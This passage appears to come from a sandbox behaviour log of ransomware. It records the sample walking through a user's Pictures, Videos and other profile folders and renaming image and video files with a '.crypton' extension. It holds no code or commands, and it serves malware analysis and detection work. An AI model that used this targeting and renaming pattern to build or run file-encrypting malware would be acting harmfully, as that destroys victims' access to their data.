HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\8yZUcGn6v8ejoYXypl.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\8yzucgn6v8ejoyxypl.jpg.crypton"), dwFlags=0x2) returned 1 [0218.162] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\9OputvEAlhs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\9oputvealhs.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\9OputvEAlhs.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\9oputvealhs.jpg.crypton"), dwFlags=0x2) returned 1 [0218.204] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\cnj vtV.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\cnj vtv.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\cnj vtV.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\cnj vtv.jpg.crypton"), dwFlags=0x2) returned 1 [0218.210] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x999c8d60, ftCreationTime.dwHighDateTime=0x1d4c5ea, ftLastAccessTime.dwLowDateTime=0xff6ccd00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xff6ccd00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0218.254] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\3XSIFh_mG4WX-gVS27.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\3xsifh_mg4wx-gvs27.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\3XSIFh_mG4WX-gVS27.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\3xsifh_mg4wx-gvs27.jpg.crypton"), dwFlags=0x2) returned 1 [0218.260] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x157b96e0, ftCreationTime.dwHighDateTime=0x1d4cb6a, ftLastAccessTime.dwLowDateTime=0xff73f120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xff73f120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0218.277] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\-cN76LR.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\-cn76lr.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\-cN76LR.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\-cn76lr.bmp.crypton"), dwFlags=0x2) returned 1 [0218.327] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\1x98.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\1x98.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\1x98.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\1x98.gif.crypton"), dwFlags=0x2) returned 1 [0218.386] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\9jobobV6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\9jobobv6.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\9jobobV6.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\9jobobv6.png.crypton"), dwFlags=0x2) returned 1 [0218.419] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\g5xDdOxFfZMBbgIgvW.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\g5xddoxffzmbbgigvw.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\g5xDdOxFfZMBbgIgvW.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\g5xddoxffzmbbgigvw.bmp.crypton"), dwFlags=0x2) returned 1 [0218.477] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\IAENoshHf2GIilWu.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\iaenoshhf2giilwu.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\IAENoshHf2GIilWu.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\iaenoshhf2giilwu.png.crypton"), dwFlags=0x2) returned 1 [0218.511] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\N4bPPECh9.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\n4bppech9.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\N4bPPECh9.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\n4bppech9.jpg.crypton"), dwFlags=0x2) returned 1 [0218.558] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\PSRiz0nI YLs.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\psriz0ni yls.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\PSRiz0nI YLs.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\psriz0ni yls.png.crypton"), dwFlags=0x2) returned 1 [0218.592] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\SN I0fF_ReYivn-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\sn i0ff_reyivn-.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\SN I0fF_ReYivn-.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\sn i0ff_reyivn-.bmp.crypton"), dwFlags=0x2) returned 1 [0218.606] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\vL7eM1ihcWt.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\vl7em1ihcwt.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\vL7eM1ihcWt.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\vl7em1ihcwt.gif.crypton"), dwFlags=0x2) returned 1 [0218.630] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\WCJD95hCDe.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\wcjd95hcde.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\WCJD95hCDe.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\wcjd95hcde.gif.crypton"), dwFlags=0x2) returned 1 [0218.647] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\x_fbKv.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\x_fbkv.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Bb1ZVwynLVh\\x_fbKv.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\bb1zvwynlvh\\x_fbkv.gif.crypton"), dwFlags=0x2) returned 1 [0218.651] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\dhuK_GcmpQcd6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\dhuk_gcmpqcd6.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\dhuK_GcmpQcd6.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\dhuk_gcmpqcd6.bmp.crypton"), dwFlags=0x2) returned 1 [0218.683] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\FpuKp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\fpukp.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\FpuKp.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\fpukp.gif.crypton"), dwFlags=0x2) returned 1 [0218.732] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\JaV524ob u_N3eCi.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\jav524ob u_n3eci.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\JaV524ob u_N3eCi.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\jav524ob u_n3eci.jpg.crypton"), dwFlags=0x2) returned 1 [0218.738] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Kil-CQn-hKm-HC9NQHGj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\kil-cqn-hkm-hc9nqhgj.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\Kil-CQn-hKm-HC9NQHGj.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\kil-cqn-hkm-hc9nqhgj.png.crypton"), dwFlags=0x2) returned 1 [0218.773] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\lLezhcMGi d6sLzA1_UK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\llezhcmgi d6slza1_uk.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\lLezhcMGi d6sLzA1_UK.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\llezhcmgi d6slza1_uk.png.crypton"), dwFlags=0x2) returned 1 [0218.793] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\MeETt15 dFBy yI8.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\meett15 dfby yi8.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\MeETt15 dFBy yI8.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\meett15 dfby yi8.bmp.crypton"), dwFlags=0x2) returned 1 [0218.797] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\wdYeBTiKls.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\wdyebtikls.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\elvs8rcZyaP26N6\\wdYeBTiKls.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\elvs8rczyap26n6\\wdyebtikls.jpg.crypton"), dwFlags=0x2) returned 1 [0218.842] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\KKAKKz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\kkakkz.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\KKAKKz.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\kkakkz.jpg.crypton"), dwFlags=0x2) returned 1 [0218.850] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\LXSkaXiU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\lxskaxiu.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\LXSkaXiU.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\lxskaxiu.png.crypton"), dwFlags=0x2) returned 1 [0218.859] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\O ezcwBQAJG H_3356S4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\o ezcwbqajg h_3356s4.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\O ezcwBQAJG H_3356S4.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\o ezcwbqajg h_3356s4.jpg.crypton"), dwFlags=0x2) returned 1 [0218.881] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\RRiRmfWk34QQ_a0w.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\rrirmfwk34qq_a0w.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\RRiRmfWk34QQ_a0w.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\rrirmfwk34qq_a0w.png.crypton"), dwFlags=0x2) returned 1 [0218.931] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\tfuP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\tfup.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\tfuP.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\tfup.bmp.crypton"), dwFlags=0x2) returned 1 [0218.973] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\XoxbiVhb7XOVdu0snKWt.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\xoxbivhb7xovdu0snkwt.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\XoxbiVhb7XOVdu0snKWt.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\xoxbivhb7xovdu0snkwt.bmp.crypton"), dwFlags=0x2) returned 1 [0219.016] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZL4ovZNjCD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zl4ovznjcd.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZL4ovZNjCD.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zl4ovznjcd.bmp.crypton"), dwFlags=0x2) returned 1 [0219.061] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zlD1Jou.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zld1jou.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zlD1Jou.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zld1jou.bmp.crypton"), dwFlags=0x2) returned 1 [0219.069] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x315956e0, ftCreationTime.dwHighDateTime=0x1d4d32b, ftLastAccessTime.dwLowDateTime=0x87d8c410, ftLastAccessTime.dwHighDateTime=0x1d4cfd9, ftLastWriteTime.dwLowDateTime=0x87d8c410, ftLastWriteTime.dwHighDateTime=0x1d4cfd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d1b, dwReserved0=0x70, dwReserved1=0x0, cFileName="zlD1Jou.bmp", cAlternateFileName="")) returned 0xffffffff [0219.074] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x315956e0, ftCreationTime.dwHighDateTime=0x1d4d32b, ftLastAccessTime.dwLowDateTime=0x87d8c410, ftLastAccessTime.dwHighDateTime=0x1d4cfd9, ftLastWriteTime.dwLowDateTime=0x87d8c410, ftLastWriteTime.dwHighDateTime=0x1d4cfd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d1b, dwReserved0=0x70, dwReserved1=0x0, cFileName="zlD1Jou.bmp", cAlternateFileName="")) returned 0xffffffff [0219.082] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xffefb8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xffefb8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0219.085] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfff21a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfff21a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0219.090] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0219.096] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0219.100] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0219.104] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfe303620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe303620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0219.138] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5_2eCSZ0z.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5_2ecsz0z.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5_2eCSZ0z.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5_2ecsz0z.mkv.crypton"), dwFlags=0x2) returned 1 [0219.143] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS 